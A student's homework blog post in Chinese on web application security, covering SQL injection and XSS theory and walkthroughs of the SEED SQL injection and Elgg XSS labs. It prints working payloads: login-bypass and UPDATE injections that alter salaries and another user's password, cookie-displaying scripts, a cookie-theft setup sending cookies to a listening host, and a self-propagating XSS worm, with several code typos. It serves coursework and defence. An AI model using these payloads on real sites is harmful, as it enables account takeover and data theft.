20199124 2019-2020-2 《网络攻防实践》第11周作业

20199124 2019-2020-2 《网络攻防实践》第11周作业

本次作业属于哪个课程 《网络攻防实践》
这个作业要求在哪里 第11次作业 Web应用程序安全攻防
我在这个课程的目标是 学习Web应用程序的结构以及针对Web应用程序的攻击原理
这个作业在哪个具体方面帮助我实现目标 实现Web应用程序攻击过程
作业正文 见下文1、2、3、4部分
其他参考文献 见文章末尾

1.实践内容

1.1 Web应用程序体系结构及其安全威胁


1.1.1 Web应用体系结构

​ Web应用的体系结构中,由浏览器作为“瘦"客户端主要完成数据显示与展示内容的渲染功能;而由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。结构图如下。

web浏览器:Web客户端就是我们所熟知的浏览器,早期的浏览器仅需实现HTTP协议的应用交互和HTML页面的解析与渲染展示,随着Java、Flash、Silverlight的引入,发展出RIA 技术和Ajax技术,使得浏览器更富动态性、交互性。当然新技术的产生也引入了很多新的攻击点,Web应用和浏览器成为近年来最热点的网络攻防技术领域。

Web服务器:接收Web客户端对资源的请求, 在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web 客户端,在浏览器上进行本地执行、渲染和展示。

Web应用程序:Web应用程序嵌入在浏览器中执行的客户端逻辑。有很多种不同的Web应用程序多层结构,最普遍应用的是三层(3-tiers)体系结构,由表示层、业务逻辑层和数据层组成。

数据库:这是Web应用存储数据的地方,Web应用中流行的数据库管理软件包括微软的MS SQL Server、 Oracle和开源的MySQL等。

传输协议HTTP/HTTPS:浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。HTTP协议具有无状态、ASCI1码明文传输、运行TCP80端口等特点,使得他很容易被攻击,引入了SSL/TSL技术的HTTPS协议,具有加密传输和身份认证的功能。

1.1.2 Web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁
  • 针对传输网络的网络协议安全威胁
  • 系统层安全威胁
  • Web服务器软件安全威胁
  • Web应用程序安全威胁
  • Web数据安全威胁

1.2 Web应用安全攻防技术概述


1.2.1 Web应用的信息收集

​ 一切攻击都是建立在知己知彼的基础之上,web应用攻击也不例外。可以使用之前学过的扫描与查点技术,但也要了解应用程序的探测与漏洞扫描技术。

手工审査Web应用程序结构与源代码

​ 手工地浏览 Web应用的各个页面、菜单、目录,并査看关键页面的源代码,收集静态和动态生成的页面、辅助性文件、输入表单、査询参数字符串

自动下载与镜像Web站点页面

​ 一些自动下载与镜像Web站点页面的工具能够提升审查web应用程序结构与源代码的自动化程度,Linux系统可以使用lynx,Windows系统有TclePort Pro、Offline Explorer等功能强大的Web站点镜像软件。

使用Google Hacking技术审査与探测Web应用程序

​ Google Hacking技术特指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。通常会使用Google搜索引擎中的一些高级功能选项来编写出独特的搜索条件,准确定位出符合预期目标的查询结果。

Web应用程序安全评估与漏洞探测

​ 获得目标Web站点应用程序入口点、源代码和-些关键信息之后,需要我们对目标应用程序的各个主要功能做一次深入的研究和评估,透彻理解目标应用程序的体系结构和设计思路,找出可能存在的薄弱环节。这项操作通常需要借助Web应用安全辅助分析工具,主要包括:

(1)浏览器插件:实时地査看和修改传递给远端Web服务器的数据
(2)免费工具集:包括以Web服务器与客户端之间的代理方式运行的工具,结合爬虫技术对目标Web站点进行源码爬取、分析与评估探测的工具,以及注入工具
(3)商业Web应用安全评估系统和漏洞扫描器

1.2.2 攻击Web服务器软件

​ Web服务器软件攻击利用的都是Web服务器软件包中的安全漏洞与不安全配置,Web服务器平台中的安全漏洞主要分为如下几大类:

数据驱动的远程代码执行安全漏洞:web服务器上存在着缓冲区溢出、不安全指针、格式化字符串等安全漏洞,利用这些漏洞可以实现在Web服务器上直接获得远程代码执行的权利。

服务器功能扩展模块漏洞:Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他的功能,这些扩展模块往往存在更多的漏洞。

样本文件安全漏洞:Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法,这些文件种的漏洞也会被攻击者利用。

源代码泄露:利用这些漏洞查看到系统级的文件

资源解析攻击:Web服务器软件在处理资源请求时,要进行资源解析,但这一过程如果存在遗漏一些输入合法性与合理性验述的处理,就会被攻击者利用。

1.2.3 攻击Web应用程序

​ 2010年发布的《WASCWeb安全威胁分类v2.0》文档中,显示了Web应用程序中己被发现的15类安全弱点和34种攻击技术手段,如下图所示。

1.2.4 攻击Web数据内容

安全敏感数据泄露

网站篡改:一些攻击者只是对网站的网页界面于显示进行篡改,而另一些攻击者则会利用被攻陷网站植入恶意代码,使访问的用户受到安全威胁。

不良信息内容上传:允许用户上传内容的论坛、博客类网站如果不对上传内容进行审核,很容易在帖子、回复、留言中被添加不良、甚至违法信息。

1.2.5 Web应用安全防范措施

​ Web站点网络传输安全设防措施:尽量使用HTTPS协议,通过加密的连接通道来管理Web站点,对关键的Web服务器要进行重点安全部署,如设置静态绑定MAC-IP映射、在网关位置部署防火墙与入侵检测系统等。

​ Web站点操作系统及服务安全设防措施:对Web站点的操作系统与服务器软件进行及时的补丁更新,进行远程安个漏洞扫描,釆用提升系统与服务安全性的一般性设防措施。

​ Web应用程序安全设防措施:开发Web应用时,应谨慎考虑技术的选取,使用安全性更高的技术;使用具有应好安全声誉及穏定技术支持力量的Web应用软件包;只在必要时候自主或外包开发Web应用程序;使用Web服务器软件提供的日志功能。

​ Web站点数据安全设防措施:提高网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护


1.3 SQL 注入


1.3.1 SQL 注入攻击原理

​ SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,或者没有进行严格的类型判断。

​ SQL注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入 参数、表单的输入框,等等)输入一段精心构造的SQL査询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行

​ 常见的有利用字符串输入参数对转义字符过滤不完善的SQL注入攻击和利用未对用户输入参数进行类型约束的检査的SQL注入攻击。

1.3.2 SQL 注入攻击步骤和过程

​ SQL 注入攻击的步骤与过程如下:

(1)发现SQL注入点:通过输入不同的字符串与查看返回的页面判断是否存在注入点;
(2)判断后台数据库类型:通过对数据库服务器的系统变量、系统表的査询来进行判断;
(3)后台数据库中管理员用户口令字猜解:猜解表名、猜解字段名,以及用户名与口令猜解;
(4)上传ASP后门,得到默认账户权限:
(5)本地权限提升
(6)利用数据库扩展存储过程执行Shell命令

1.3.3 SQL 注入攻击工具

​ SQL注入攻击工具,可以代替人工实施URL探测,提升攻击效率。著名的SQL工具有Wposion、wieliekoek.pl、SPIKE Proxy 、SPI Toolkit工具包中的“SQL Injector”自动化SQL注入测试工具、CSC、NBSL HDSI、阿D注入工具、WED、 Domain. Pangolin等。

1.3.4 SQL 注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制
  • 凡是来自外部的用户输入,必须进行完备检查
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接

1.4 XSS 跨站脚本攻击


1.4.1 XSS 攻击技术原理

​ XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善。在一些允许用户互交的Web应用程序中,用户可以提交的内容重可以含有HTML、JavaScript及其他脚本代码,如果不对这些内容进行审查,很可能会有恶意代码逻辑包含在服务器动态产生或更新的网页中。

​ XSS攻击的最终攻击目标并非Web服务器,而是访问这些Web服务器的其他用户。攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改会话Cookie、进行客户端渗透攻击获取访问权域。

1.4.2 XSS攻击类型

​ 安全业界普遍将其分为两种主要的XSS漏洞类型,即持久性XSS漏洞(Persistent Cross Sile Scripting)和非持久性XSS漏洞(Non-persistent Cross Site Scripting),利用这两类漏洞的攻击也被称为持久性XSS 攻击与非持久性XSS攻击。

持久性XSS 攻击:出现于一些可以将用户输入持久性地保存在Web服务器端,并在“正常”页面中持续性地显示。

非持久性XSS漏洞:当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞。

基于DOM的XSS漏洞:发生在客户端处理内容阶段

1.4.4 XSS攻击防范措施

服务器端防范措施

对所有来自外部的用户输入进行完备检查,以“限制、拒绝、净化”的思路来进行严格的安全过滤。主要包括三点:
·输入验证
·输出净化和
·消除危险的输入点

客户端防范措施

   跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读, 此外也可以采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。

2.实践过程

课外实践作业一:SEED SQL注入实验


实践要求

  1. 熟悉SQL环境

  2. 对SELECT语句的SQL注入攻击

  3. 对UPDATE语句的SQL注入攻击

  4. SQL对抗,修复上述SQL注入攻击漏洞


实践环境

SEED Ubuntu 16.04

URL: http://www.SEEDLabSQLInjection.com

Folder: /var/www/SQLInjection/

使用网站之前,使用指令sudo service apache2 start启动Apache服务。


实践过程

1.熟悉SQL环境

这部分内容主要十熟悉如何使用SQL,首先可以使用命令mysql -u root -p进入MySQL,-r指定用户名称,-p指定密码,SEED中SQL的密码为seedubuntu。

如果我们想要查看数据库里的信息,先使用命令use 数据库名称,在使用show tables查看该数据库里有哪些表。

由上图可知,Users这个库中只有credential这一张表,我们使用命令select * from credential,查看表中内容。

2.对SELECT语句的SQL注入攻击

​ 网站在浏览器的Sites for Labs收藏夹中,很方便打开。

​ 我们先查看网页的源码,最先打开了一个index.php文件,也就是网页最起初的源码,发现里面出现了一个unsafe_home.php文件,我们接着用vim打开这个文件,这个文件果然是管理用户登录的。

​ 在unsafe_home.php文件我们可以看到用户登录时使用的sql语句,输入变量unamepwd,检查输入的用户名与密码是否在库中有相匹配的记录,如果匹配成功则表明用户通过身份验证,并进入身份信息页面。

​ 我们通过SQL可以知道都要哪些用户进行了注册,但是SQL里储存的是用户密码的哈希值,所以我们无法知道用户的密码。这时我们构造一条语句使得程序不进行password的验证就可以在无密码的情况下进行登录。

#在SQL语句中具有注释的作用,即#后的语句回被当作注释,并不会执行。我们在USERNAME中输入Admin'#就可以使程序只进行用户名验证而不进行身份验证。PASSWORD栏可写可不写。

登录成功后显示各个用户的信息。

​ 以上是通过构造特殊语句来进行管理员登录,我们还可以借助Linux中的curl工具,使用命令行完成管理员登录。输入以下命令:

curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'

​ 要注意命令中的特殊字符要转换为十六进制,%27表示'%20表示空格,%23表示#

​ 通过追加新的SQL语句来修改数据的认为并没有实现,安装上述原理,我们只要加上一个delete或者updata语句就可以了,例如:

Admin'; updata credential set salsry='1000' where Name='Admin'#

​ 失败界面如下,原因是MySQL中存在阻止多个语句经行的策略。

3.对UPDATE语句的SQL注入攻击

​ 我们通过上述登录方式,登录Alice的账户。Alice最初的账户信息如下。

​ 我们在/var/www/SQL/文件夹中查看unsafe_edit_backend.php文件,这个源码文件中存在Updata语句。看起来我们又可以使用#注释符使程序忽略nickname后面的语句。

我们在网站上点击Profile Edit,进入基本信息修改界面,在NickName中输入', salary='200' where Name='Alice';#或者 salary='200' where EID='10000';#

修改之后Alice的工资只剩200了。

我们接着使用这一漏洞看能不能修改其他人的工资。继续编辑Alice的Profile,在NickName中输入', salsry='200' where name='Boby';#,点击save。使用之前的登录方法登录Boby的账户,发现Boby的工资也只又200了。

​ 最后我们看能不能修改用户的密码,这个网站里,用户的密码是经过sha1加密保存的,我们先确定修改密码的sha1值,我们将Boby的密码修改为asdfghjkl

​ 回到Alice的信息编辑页面,在NickName中输入

', Password='5fa339bbbb1eeaced3d52e54f44576aaf0d77d96' where Name='Boby';#

​ 我们使用Boby的新密码进行登录,登录成功,攻击完成。

4.SQL注入攻击防御

​ SQL注入攻击可以成功主要是因为执行语句和数据一起输入,但是系统却没有将两这进行区分。所以在SQL中加入预处理语句机制便可以抵御这一攻击。

​ 之前网页源码中的Update语句我们可以进行如下修改来抵御SQL攻击。

​ 源代码如下。

if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

课外实践作业二:SEED XSS攻击实验


实践要求


实践环境

系统:SEED Ubuntu-16.04

URL: http://www.xsslabelgg.com

Folder: /var/www/XSS/Elgg/

使用指令sudo service apache2 start启动Apache服务。

使用HTTP Header Live检查HTTP头,在Firefox的扩展中安装这个插件,并且启用他。


实践过程

1.显示报警窗口

​ 我们通过查阅实验报告可以知道网站 http://www.xsslabelgg.com 里已注册的用户以及用户密码,我们登录Alice的账户,并在Alice的Brief description中编写JavaScript代码并保存,使得其他用户查看Alice的主页时会弹出警告窗口。JavaScript代码如下

<script> alert('xss');</script>

​ 点击save,便弹出“XXS”警告窗口。

2.显示cookie信息

​ 这一过程与上面的实践类似,将插入的代码改一下就可以了,代码如下:

<script> alert(document.cookie);</script>

点击save之后,便会弹出显示cookie的窗口,如下图所示。

3.偷取受害者的cookie

​ 对于以上所述得到cookie的过程只能在本机上实现,如何让攻击者的主机获得cookie就要换一种方法了。

​ 我们在Alice的Brief description中填写以下命令。

​ 上述命令中我们是插入了一个图片,我们使用了,当JavaScript使用了img时,浏览器会根据后来src的链接加载图片,但是这里我们把链接设置为了主机的IP地址与端口,这使得浏览器会向IP地址为192.168.200.2的主机通过TCP端口4444发送请求,如果此时这个主机正在监听端口4444的话,就会获得受害者的cookie。

​ 主机使用命令nc -l 4444 -v来监听4444端口,监听到的信息如下图所示。

4.成为受害者的朋友

​ 通过让受害者浏览Alice的主页,使得Alice成为受害者的朋友,就要在Alice的主页上编写一段代码。

​ 首先我们要知道这个网站在加好友时都会干什么。这是我们安装的HTTP Header Live就排上用场了,用这个插件来观察加好友时都会使用哪些参数。

​ 从图中可以看出,添加好友时,会使用的参数有三个,分别是:friend=&__elgg_ts=&__elgg_token=。请求的地址是http://www.xsslabelgg.com/action/friend/add

结合以上信息,我们将以下代码填写到Alice的About Me中。

About Me编辑窗口的右上角应该显示为Visual editor,不然会失败。

​ 点击save之后,登录Boby账户,通过Boby来浏览Alice的主页,之后再回到Boby的主页上发现Alice成为了Boby的好友。

5.修改受害者的主页

​ 与上一个实践相同,我们要先知道正常修改profile时,网站会使用什么参数,发送什么请求。再次使用HTTP Header Live来查看发送的数据。

​ 从上图可以知道,使用的参数有三个,分别是:&__elgg_token=&__elgg_ts=&__name=elgg.session.user.name;请求的地址是http://www.xsslabelgg.com/action/profile/edit

​ 根据以上内容,我们编写以下代码,并将这段代码放到Alice的About Me中。

​ 登录Boby的账户,通过Boby来浏览Alice的主页,然后再回到Boby的主页,发现Boby的About Me中多了一句话。

6.编写一个XSS蠕虫

​ 以上代码只是一个攻击代码,并不能传播。

​ 经过上面两波实践的分析,我们知道了如何自动加好友并改别人的主页,如果我们能把这段代码放到来浏览我们主页的用户profile里,那么受害者的主页也变成了传播点。

​ 明白这一原理之后,我们编写如下代码,并把它放到Alice的About Me中。

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.sentent);
		}
		
	}
</script>

​ 我们登录Boby的账户,并浏览Alice的主页,Alice的主页会弹出一个奇怪的窗口,然后再返回自己的主页,发现Boby的主页弹出了这样的窗口。

且在HTTP Header Live上发现了这一请求。

​ 接下来我们登录Samy的账户,并浏览Boby的主页,之后回到Samy的主页发现Samy页被攻击了,并成为一个传播点。

7.抵御XSS攻击

​ 以上攻击能够成功主页是因为系统对于输入的字符没有进行校验,只是一股脑的接受,使得这些输入便成为了指令在允许。

​ 在网站中提供了对抗XSS攻击的插件,只是没有打开,我们以管理员的身份登录,在Account->administration->plugins中就可以找到,点击Activate打开这个功能。

​ 我们在去Alice的账户上,发现About Me上的代码变成了单词的字符串信息被显示出来了。

3.学习中遇到的问题及解决

  • 问题1:不会编程

    问题1解决方案:借鉴大佬编写的代码,对这些代码进行分析,以来提升一哈自己的编程能力。

4.实践总结

这一章的学习还是蛮神奇的,在网页输入一些设计好的语句竟然就可以入侵系统,并修改其中的内容。

参考资料

Web_SQL_Injection
Web_XSS_Elgg

posted @ 2020-05-13 15:33  20199124-马璐瑶  Views(147)  Comments(0Edit  收藏